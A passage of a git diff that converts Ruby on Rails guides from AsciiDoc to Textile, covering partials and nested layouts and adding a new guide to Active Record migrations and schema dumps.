That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-==== Using Partials to Simplify Views
+h5. Using Partials to Simplify Views
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-[source, html]
--------------------------------------------------------
+<erb>
<%= render :partial => "shared/ad_banner" %>
<h1>Products</h1>
@@ -819,107 +776,100 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
...
<%= render :partial => "shared/footer" %>
--------------------------------------------------------
+</erb>
Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
-==== Partial Layouts
+h5. Partial Layouts
A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
-[source, html]
--------------------------------------------------------
+<erb>
<%= render :partial => "link_area", :layout => "graybar" %>
--------------------------------------------------------
+</erb>
This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
-==== Passing Local Variables
+h5. Passing Local Variables
You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
-+new.html.erb+:
+* +new.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<h1>New zone</h1>
<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %>
--------------------------------------------------------
+<%= render :partial => "form", :locals =>
+ { :button_label => "Create zone", :zone => @zone } %>
+</erb>
-+edit.html.erb+:
+* +edit.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<h1>Editing zone</h1>
<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %>
--------------------------------------------------------
+<%= render :partial => "form", :locals =>
+ { :button_label => "Update zone", :zone => @zone } %>
+</erb>
-+_form.html.erb:+
+* +_form.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<% form_for(zone) do |f| %>
- <p>
- <b>Zone name</b><br />
- <%= f.text_field :name %>
- </p>
+ <p>
+ <b>Zone name</b><br />
+ <%= f.text_field :name %>
+ </p>
<p>
<%= f.submit button_label %>
</p>
<% end %>
--------------------------------------------------------
+</erb>
Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.
Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
-[source, html]
--------------------------------------------------------
+<erb>
<%= render :partial => "customer", :object => @new_customer %>
--------------------------------------------------------
+</erb>
-Within the +customer+ partial, the +@customer+ variable will refer to +@new_customer+ from the parent view.
+Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
If you have an instance of a model to render into a partial, you can use a shorthand syntax:
-[source, html]
--------------------------------------------------------
+<erb>
<%= render :partial => @customer %>
--------------------------------------------------------
+</erb>
Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it.
-==== Rendering Collections
+h5. Rendering Collections
Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
-+index.html.erb+:
+* +index.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<h1>Products</h1>
<%= render :partial => "product", :collection => @products %>
--------------------------------------------------------
+</erb>
-+_product.html.erb+:
+* +_product.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<p>Product Name: <%= product.name %></p>
--------------------------------------------------------
+</erb>
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
-[source, html]
--------------------------------------------------------
+<erb>
<%= render :partial => "product", :collection => @products, :as => :item %>
--------------------------------------------------------
+</erb>
With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
@@ -927,151 +877,103 @@ TIP: Rails also makes a counter variable available within a partial called by th
You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-[source, html]
--------------------------------------------------------
-<%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
--------------------------------------------------------
+<erb>
+<%= render :partial => "product", :collection => @products,
+ :spacer_template => "product_ruler" %>
+</erb>
Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
There's also a shorthand syntax available for rendering collections. For example, if +@products+ is a collection of products, you can render the collection this way:
-+index.html.erb+:
+* +index.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<h1>Products</h1>
<%= render :partial => @products %>
--------------------------------------------------------
+</erb>
-+_product.html.erb+:
+* +_product.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<p>Product Name: <%= product.name %></p>
--------------------------------------------------------
+</erb>
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
-+index.html.erb+:
+* +index.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<h1>Contacts</h1>
-<%= render :partial => [customer1, employee1, customer2, employee2] %>
--------------------------------------------------------
+<%= render :partial =>
+ [customer1, employee1, customer2, employee2] %>
+</erb>
-+_customer.html.erb+:
+* +_customer.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<p>Name: <%= customer.name %></p>
--------------------------------------------------------
+</erb>
-+_employee.html.erb+:
+* +_employee.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<p>Name: <%= employee.name %></p>
--------------------------------------------------------
+</erb>
In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
-=== Using Nested Layouts
+h4. Using Nested Layouts
You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
-Suppose you have the follow ApplicationController layout:
+Suppose you have the follow +ApplicationController+ layout:
-+app/views/layouts/application.erb+
+* +app/views/layouts/application.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<html>
<head>
- <title><%= @page_title %><title>
- <% stylesheet_tag 'layout' %>
+ <title><%= @page_title or 'Page Title' %></title>
+ <%= stylesheet_link_tag 'layout' %>
<style type="text/css"><%= yield :stylesheets %></style>
-<head>
+</head>
<body>
<div id="top_menu">Top menu items here</div>
<div id="menu">Menu items here</div>
- <div id="main"><%= yield %></div>
+ <div id="content"><%= yield(:content) or yield %></div>
</body>
</html>
--------------------------------------------------------
+</erb>
-On pages generated by NewsController, you want to hide the top menu and add a right menu:
+On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
-+app/views/layouts/news.erb+
+* +app/views/layouts/news.html.erb+
-[source, html]
--------------------------------------------------------
+<erb>
<% content_for :stylesheets do %>
#top_menu {display: none}
#right_menu {float: right; background-color: yellow; color: black}
<% end -%>
-<% content_for :main %>
+<% content_for :content do %>
<div id="right_menu">Right menu items here</div>
- <%= yield %>
+ <%= yield(:news_content) or yield %>
<% end -%>
-<% render :file => 'layouts/application' %>
--------------------------------------------------------
-
-NOTE: In versions of Rails before Rails 2.3, you should use +render \'layouts/applications\'+ instead of +render :file => \'layouts/applications\'+
+<%= render :file => 'layouts/application' %>
+</erb>
That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
-There are several ways of getting similar results with differents sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render \'layouts/news\'+ to base a new layout on the News layout.
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :file => 'layouts/news'+ to base a new layout on the News layout. If one is sure she will not subtemplate the +News+ layout, she can ommit the +yield(:news_content) or + part.
-== Changelog ==
+h3. Changelog
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15
* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates
-* December 27, 2008: Information on new rendering defaults by link:../authors.html#mgunderloy[Mike Gunderloy]
-* November 9, 2008: Added partial collection counter by link:../authors.html#mgunderloy[Mike Gunderloy]
-* November 1, 2008: Added +:js+ option for +render+ by link:../authors.html#mgunderloy[Mike Gunderloy]
-* October 16, 2008: Ready for publication by link:../authors.html#mgunderloy[Mike Gunderloy]
-* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* September 28, 2008: First draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy
+* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy
+* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy
+* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy
+* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile
new file mode 100644
index 0000000000..5ed94c30b7
--- /dev/null
+++ b/railties/guides/source/migrations.textile
@@ -0,0 +1,591 @@
+h2. Migrations
+
+Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy.
+
+Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database.
+
+Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more that you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
+
+You'll learn all about migrations including:
+
+* The generators you can use to create them
+* The methods Active Record provides to manipulate your database
+* The Rake tasks that manipulate them
+* How they relate to +schema.rb+
+
+endprologue.
+
+h3. Anatomy of a Migration
+
+Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+ def self.up
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+
+ def self.down
+ drop_table :products
+ end
+end
+</ruby>
+
+This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
+
+Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
+
+<ruby>
+class AddReceiveNewsletterToUsers < ActiveRecord::Migration
+ def self.up
+ change_table :users do |t|
+ t.boolean :receive_newsletter, :default => false
+ end
+ User.update_all ["receive_newsletter = ?", true]
+ end
+
+ def self.down
+ remove_column :users, :receive_newsletter
+ end
+end
+</ruby>
+
+This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered
+to have already opted in, so we use the User model to set the flag to +true+ for existing users.
+
+NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations.
+
+h4. Migrations are Classes
+
+A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them).
+
+Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
+
+* +create_table+
+* +change_table+
+* +drop_table+
+* +add_column+
+* +change_column+
+* +rename_column+
+* +remove_column+
+* +add_index+
+* +remove_index+
+
+If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).
+
+On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
+
+h4. What's in a Name
+
+Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.
+
+Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting +config.active_record.timestamped_migrations+ to +false+ in +config/environment.rb+.
+
+The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
+
+For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods.
+
+Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike.
+
+h4. Changing Migrations
+
+Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
+
+In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.
+
+h3. Creating a Migration
+
+h4. Creating a Model
+
+The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
+
+<shell>
+ruby script/generate model Product name:string description:text
+</shell>
+
+will create a migration that looks like this
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+ def self.up
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+
+ def self.down
+ drop_table :products
+ end
+end
+</ruby>
+
+You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that
+are automatically populated by Active Record) will be added for you.
+
+h4. Creating a Standalone Migration
+
+If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
+
+<shell>
+ruby script/generate migration AddPartNumberToProducts
+</shell>
+
+This will create an empty but appropriately named migration:
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def self.up
+ end
+
+ def self.down
+ end
+end
+</ruby>
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created.
+
+<shell>
+ruby script/generate migration AddPartNumberToProducts part_number:string
+</shell>
+
+will generate
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def self.up
+ add_column :products, :part_number, :string
+ end
+
+ def self.down
+ remove_column :products, :part_number
+ end
+end
+</ruby>
+
+Similarly,
+
+<shell>
+ruby script/generate migration RemovePartNumberFromProducts part_number:string
+</shell>
+
+generates
+
+<ruby>
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+ def self.up
+ remove_column :products, :part_number
+ end
+
+ def self.down
+ add_column :products, :part_number, :string
+ end
+end
+</ruby>
+
+You are not limited to one magically generated column, for example
+
+<shell>
+ruby script/generate migration AddDetailsToProducts part_number:string price:decimal
+</shell>
+
+generates
+
+<ruby>
+class AddDetailsToProducts < ActiveRecord::Migration
+ def self.up
+ add_column :products, :part_number, :string
+ add_column :products, :price, :decimal
+ end
+
+ def self.down
+ remove_column :products, :price
+ remove_column :products, :part_number
+ end
+end
+</ruby>
+
+As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
+
+h3. Writing a Migration
+
+Once you have created your migration using one of the generators it's time to get to work!
+
+h4. Creating a Table
+
+Migration method +create_table+ will be one of your workhorses. A typical use would be
+
+<ruby>
+create_table :products do |t|
+ t.string :name
+end
+</ruby>
+
+which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column).
+
+The object yielded to the block allows you create columns on the table. There are two ways of doing this: The first (traditional) form looks like
+
+<ruby>
+create_table :products do |t|
+ t.column :name, :string, :null => false
+end
+</ruby>
+
+the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same.
+
+<ruby>
+create_table :products do |t|
+ t.string :name, :null => false
+end
+</ruby>
+
+By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example
+
+<ruby>
+create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
+ t.string :name, :null => false
+end
+</ruby>
+
+will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+).
+
+The types supported by Active Record are +:primary_key+, +:string+, +:text+, +:integer+, +:float+, +:decimal+, +:datetime+, +:timestamp+, +:time+, +:date+, +:binary+, +:boolean+.
+
+These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example
+
+<ruby>
+create_table :products do |t|
+ t.column :name, 'polygon', :null => false
+end
+</ruby>
+
+This may however hinder portability to other databases.
+
+h4. Changing Tables
+
+A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example
+
+<ruby>
+change_table :products do |t|
+ t.remove :description, :name
+ t.string :part_number
+ t.index :part_number
+ t.rename :upccode, :upc_code
+end
+</ruby>
+removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing
+
+<ruby>
+remove_column :products, :description
+remove_column :products, :name
+add_column :products, :part_number, :string
+add_index :products, :part_number
+rename_column :products, :upccode, :upc_code
+</ruby>
+
+You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+.
+
+h4. Special Helpers
+
+Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that:
+
+<ruby>
+create_table :products do |t|
+ t.timestamps
+end
+</ruby>
+will create a new products table with those two columns (plus the +id+ column) whereas
+
+<ruby>
+change_table :products do |t|
+ t.timestamps
+end
+</ruby>
+adds those columns to an existing table.
+
+The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability
+
+<ruby>
+create_table :products do |t|
+ t.references :category
+end
+</ruby>
+
+will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required:
+
+<ruby>
+create_table :products do |t|
+ t.references :attachment, :polymorphic => {:default => 'Photo'}
+end
+</ruby>
+will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'.
+
+NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity.
+
+If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL.
+
+For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+).
+
+h4. Writing Your +down+ Method
+
+The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example
+
+<ruby>
+class ExampleMigration < ActiveRecord::Migration
+
+ def self.up
+ create_table :products do |t|
+ t.references :category
+ end
+ #add a foreign key
+ execute <<-SQL
+ ALTER TABLE products
+ ADD CONSTRAINT fk_products_categories
+ FOREIGN KEY (category_id)
+ REFERENCES categories(id)
+ SQL
+
+ add_column :users, :home_page_url, :string
+
+ rename_column :users, :email, :email_address
+ end
+
+ def self.down
+ rename_column :users, :email_address, :email
+ remove_column :users, :home_page_url
+ execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
+ drop_table :products
+ end
+end
+</ruby>
+Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be
+displayed saying that it can't be done.
+
+
+h3. Running Migrations
+
+Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits.
+
+Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
+
+<shell>
+rake db:migrate VERSION=20080906120000
+</shell>
+
+If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000.
+
+h4. Rolling Back
+
+A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
+
+<shell>
+rake db:rollback
+</shell>
+
+This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter:
+
+<shell>
+rake db:rollback STEP=3
+</shell>
+
+will run the +down+ method from the last 3 migrations.
+
+The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example
+
+<shell>
+rake db:migrate:redo STEP=3
+</shell>
+
+Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
+
+Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it.
+
+NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you.
+
+h4. Being Specific
+
+If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example
+
+<shell>
+rake db:migrate:up VERSION=20080906120000
+</shell>
+
+will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run.
+
+h4. Being Talkative
+
+By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this
+
+<shell>
+20080906170109 CreateProducts: migrating
+-- create_table(:products)
+ -> 0.0021s
+-- add_index(:products, :name)
+ -> 0.0026s
+20080906170109 CreateProducts: migrated (0.0059s)
+</shell>
+
+Several methods are provided that allow you to control all this:
+
+* +suppress_messages+ suppresses any output generated by its block
+* +say+ outputs text (the second argument controls whether it is indented or not)
+* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+ def self.up
+ suppress_messages do
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+ t.timestamps
+ end
+ end
+ say "Created a table"
+ suppress_messages {add_index :products, :name}
+ say "and an index!", true
+ say_with_time 'Waiting for a while' do
+ sleep 10
+ 250
+ end
+ end
+
+ def self.down
+ drop_table :products
+ end
+end
+</ruby>
+
+generates the following output
+
+<shell>
+20080906170109 CreateProducts: migrating
+ Created a table
+ -> and an index!
+ Waiting for a while
+ -> 10.0001s
+ -> 250 rows
+20080906170109 CreateProducts: migrated (10.0097s)
+</shell>
+
+If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output.
+
+h3. Using Models in Your Migrations
+
+When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.
+
+Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.
+
+Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ def self.up
+ ...
+ end
+
+ def self.down
+ ...
+ end
+end
+</ruby>
+The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application.
+
+h4. Dealing with Changing Models
+
+For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ def self.up
+ add_column :product, :part_number, :string
+ Product.reset_column_information
+ ...
+ end
+
+ def self.down
+ ...
+ end
+end
+</ruby>
+
+
+h3. Schema Dumping and You
+
+h4. What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.
+
+h4. Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in +config/environment.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+.
+
+If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration:
+
+<ruby>
+ActiveRecord::Schema.define(:version => 20080906171750) do
+ create_table "authors", :force => true do |t|
+ t.string "name"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ create_table "products", :force => true do |t|
+ t.string "name"
+ t.text "description"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ t.string "part_number"
+ end
+end
+</ruby>
+
+In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
+
+There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+.
+
+Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{RAILS_ENV}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
+
+By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
+
+h4. Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
+
+h3. Active Record and Referential Integrity
+
+The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.
+
